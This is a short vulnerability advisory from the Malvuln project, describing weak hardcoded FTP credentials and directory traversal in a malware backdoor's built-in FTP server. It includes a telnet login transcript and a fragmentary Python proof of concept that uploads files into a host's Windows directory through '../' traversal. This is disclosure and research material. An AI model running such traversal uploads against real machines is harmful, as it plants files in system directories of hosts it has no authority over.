Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/0e997ab441cd8c35010dd8db98aae2c2.txt
Vulnerability: Weak Hardcoded Credentials
Description: The backdoor runs an FTP server listening on TCP port 21 and uses weak hardcoded credentials which can be easily found using strings util. Credentials are located at memory offsets 0042C5CF and 0042C5DE, files can be uploaded or downloaded using dir traversal chars "../" outside of its main dir.
Vuln ID: MVID-2021-0108
TELNET x.x.x.x 21
220 Indy FTP Server ready.
331 User name okay, need password.
230 User logged in, proceed.
import ftplib, time
def getFile(ftp, fname):
ftp.retrbinary("RETR " + fname ,open(fname, 'wb').write)
ftp = ftplib.FTP(MALWARE_HOST)
#Upload files to Windows dir
def upload(ftp, _file):
s = ftplib.FTP(MALWARE_HOST,USR,PWD)
f = open(_file,"rb")
print(s.storbinary("STOR "+"../../../../Windows/"+_file, f))
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